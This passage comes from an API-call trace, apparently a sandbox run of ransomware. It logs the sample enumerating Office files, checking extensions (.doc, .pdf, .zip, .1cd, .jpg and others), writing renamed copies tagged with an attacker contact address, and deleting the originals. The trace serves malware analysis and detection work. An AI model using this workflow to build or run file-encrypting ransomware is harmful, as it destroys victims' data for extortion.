Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.534] lstrlenW (lpString=".1cd") returned 4 [0249.534] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0249.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60 [0249.534] lstrlenW (lpString=".jpg") returned 4 [0249.534] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0249.534] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0249.534] lstrlenW (lpString="LGND.VSL") returned 8 [0249.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.535] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=39296) returned 1 [0249.535] CloseHandle (hObject=0x3bc) returned 1 [0249.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl")) returned 0x20 [0249.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.536] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.536] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0249.536] GetLastError () returned 0x0 [0249.536] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x9980, lpOverlapped=0x0) returned 1 [0249.539] WriteFile (in: hFile=0x3a0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x9990, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x9990, lpOverlapped=0x0) returned 1 [0249.540] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.540] WriteFile (in: hFile=0x3a0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0249.541] SetEndOfFile (hFile=0x3a0) returned 1 [0249.541] CloseHandle (hObject=0x3a0) returned 1 [0249.541] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.541] SetEndOfFile (hFile=0x3bc) returned 1 [0249.544] CloseHandle (hObject=0x3bc) returned 1 [0249.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl")) returned 1 [0249.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.544] lstrlenW (lpString=".doc") returned 4 [0249.545] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0249.545] lstrlenW (lpString=".docx") returned 5 [0249.545] lstrcmpiW (lpString1=".docx", lpString2="D.VSL") returned -1 [0249.545] lstrlenW (lpString=".pdf") returned 4 [0249.545] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0249.545] lstrlenW (lpString=".xls") returned 4 [0249.545] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0249.545] lstrlenW (lpString=".xlsx") returned 5 [0249.545] lstrcmpiW (lpString1=".xlsx", lpString2="D.VSL") returned -1 [0249.545] lstrlenW (lpString=".ppt") returned 4 [0249.545] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0249.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.545] lstrlenW (lpString=".zip") returned 4 [0249.545] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0249.545] lstrlenW (lpString=".rar") returned 4 [0249.545] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0249.545] lstrlenW (lpString=".bz2") returned 4 [0249.545] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0249.545] lstrlenW (lpString=".7z") returned 3 [0249.545] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0249.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.545] lstrlenW (lpString=".dbf") returned 4 [0249.545] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0249.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.545] lstrlenW (lpString=".1cd") returned 4 [0249.545] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0249.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.545] lstrlenW (lpString=".jpg") returned 4 [0249.545] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0249.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.545] lstrlenW (lpString=".doc") returned 4 [0249.545] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0249.545] lstrlenW (lpString=".docx") returned 5 [0249.545] lstrcmpiW (lpString1=".docx", lpString2="D.VSL") returned -1 [0249.546] lstrlenW (lpString=".pdf") returned 4 [0249.546] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0249.546] lstrlenW (lpString=".xls") returned 4 [0249.546] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0249.546] lstrlenW (lpString=".xlsx") returned 5 [0249.546] lstrcmpiW (lpString1=".xlsx", lpString2="D.VSL") returned -1 [0249.546] lstrlenW (lpString=".ppt") returned 4 [0249.546] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0249.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.546] lstrlenW (lpString=".zip") returned 4 [0249.546] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0249.546] lstrlenW (lpString=".rar") returned 4 [0249.546] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0249.546] lstrlenW (lpString=".bz2") returned 4 [0249.546] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0249.546] lstrlenW (lpString=".7z") returned 3 [0249.546] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0249.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.546] lstrlenW (lpString=".dbf") returned 4 [0249.546] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0249.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.546] lstrlenW (lpString=".1cd") returned 4 [0249.546] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0249.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56 [0249.546] lstrlenW (lpString=".jpg") returned 4 [0249.546] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0249.546] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0249.546] lstrlenW (lpString="MAPIR.DLL") returned 9 [0249.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.547] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=1124720) returned 1 [0249.547] CloseHandle (hObject=0x3bc) returned 1 [0249.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll")) returned 0x20 [0249.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.548] lstrlenW (lpString=".doc") returned 4 [0249.548] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.548] lstrlenW (lpString=".docx") returned 5 [0249.548] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0249.548] lstrlenW (lpString=".pdf") returned 4 [0249.548] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.548] lstrlenW (lpString=".xls") returned 4 [0249.548] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.548] lstrlenW (lpString=".xlsx") returned 5 [0249.548] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0249.548] lstrlenW (lpString=".ppt") returned 4 [0249.548] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.548] lstrlenW (lpString=".zip") returned 4 [0249.548] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.548] lstrlenW (lpString=".rar") returned 4 [0249.548] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.548] lstrlenW (lpString=".bz2") returned 4 [0249.548] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.548] lstrlenW (lpString=".7z") returned 3 [0249.548] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.548] lstrlenW (lpString=".dbf") returned 4 [0249.548] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.549] lstrlenW (lpString=".1cd") returned 4 [0249.549] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.549] lstrlenW (lpString=".jpg") returned 4 [0249.549] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.549] lstrlenW (lpString=".doc") returned 4 [0249.549] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0249.549] lstrlenW (lpString=".docx") returned 5 [0249.549] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0249.549] lstrlenW (lpString=".pdf") returned 4 [0249.549] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0249.549] lstrlenW (lpString=".xls") returned 4 [0249.549] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0249.549] lstrlenW (lpString=".xlsx") returned 5 [0249.549] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0249.549] lstrlenW (lpString=".ppt") returned 4 [0249.549] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0249.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.549] lstrlenW (lpString=".zip") returned 4 [0249.549] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0249.549] lstrlenW (lpString=".rar") returned 4 [0249.549] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0249.549] lstrlenW (lpString=".bz2") returned 4 [0249.549] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0249.549] lstrlenW (lpString=".7z") returned 3 [0249.549] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0249.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.549] lstrlenW (lpString=".dbf") returned 4 [0249.549] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0249.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.549] lstrlenW (lpString=".1cd") returned 4 [0249.549] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0249.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL") returned 57 [0249.550] lstrlenW (lpString=".jpg") returned 4 [0249.550] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0249.550] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0249.550] lstrlenW (lpString="MAPIR.DLL.IDX_DLL") returned 17 [0249.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.551] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=108416) returned 1 [0249.551] CloseHandle (hObject=0x3bc) returned 1 [0249.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll")) returned 0x20 [0249.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0249.551] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.551] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0249.552] GetLastError () returned 0x0 [0249.552] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x1a780, lpOverlapped=0x0) returned 1 [0249.555] WriteFile (in: hFile=0x3a0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1a790, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1a790, lpOverlapped=0x0) returned 1 [0249.557] ReadFile (in: hFile=0x3bc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.557] WriteFile (in: hFile=0x3a0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0249.557] SetEndOfFile (hFile=0x3a0) returned 1 [0249.558] CloseHandle (hObject=0x3a0) returned 1 [0249.558] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.558] SetEndOfFile (hFile=0x3bc) returned 1 [0249.980] CloseHandle (hObject=0x3bc) returned 1 [0249.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0250.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll")) returned 1 [0250.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.027] lstrlenW (lpString=".doc") returned 4 [0250.027] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0250.027] lstrlenW (lpString=".docx") returned 5 [0250.027] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0250.027] lstrlenW (lpString=".pdf") returned 4 [0250.027] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0250.027] lstrlenW (lpString=".xls") returned 4 [0250.027] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0250.027] lstrlenW (lpString=".xlsx") returned 5 [0250.027] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0250.027] lstrlenW (lpString=".ppt") returned 4 [0250.028] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.028] lstrlenW (lpString=".zip") returned 4 [0250.028] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString=".rar") returned 4 [0250.028] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString=".bz2") returned 4 [0250.028] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString=".7z") returned 3 [0250.028] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0250.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.028] lstrlenW (lpString=".dbf") returned 4 [0250.028] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.028] lstrlenW (lpString=".1cd") returned 4 [0250.028] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.028] lstrlenW (lpString=".jpg") returned 4 [0250.028] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.028] lstrlenW (lpString=".doc") returned 4 [0250.028] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString=".docx") returned 5 [0250.028] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0250.028] lstrlenW (lpString=".pdf") returned 4 [0250.028] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString=".xls") returned 4 [0250.028] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString=".xlsx") returned 5 [0250.028] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0250.028] lstrlenW (lpString=".ppt") returned 4 [0250.028] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.028] lstrlenW (lpString=".zip") returned 4 [0250.028] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0250.028] lstrlenW (lpString=".rar") returned 4 [0250.029] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0250.029] lstrlenW (lpString=".bz2") returned 4 [0250.029] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0250.029] lstrlenW (lpString=".7z") returned 3 [0250.029] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0250.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.029] lstrlenW (lpString=".dbf") returned 4 [0250.029] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0250.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.029] lstrlenW (lpString=".1cd") returned 4 [0250.029] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0250.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL") returned 65 [0250.029] lstrlenW (lpString=".jpg") returned 4 [0250.029] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0250.029] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0250.029] lstrlenW (lpString="MSACCESS_COL.HXT") returned 16 [0250.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.029] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=208) returned 1 [0250.029] CloseHandle (hObject=0x390) returned 1 [0250.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt")) returned 0x20 [0250.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0250.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0250.030] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.030] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0250.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0250.032] GetLastError () returned 0x0 [0250.032] ReadFile (in: hFile=0x390, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xd0, lpOverlapped=0x0) returned 1 [0250.033] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0250.034] ReadFile (in: hFile=0x390, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0250.034] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0250.034] SetEndOfFile (hFile=0x398) returned 1 [0250.034] CloseHandle (hObject=0x398) returned 1 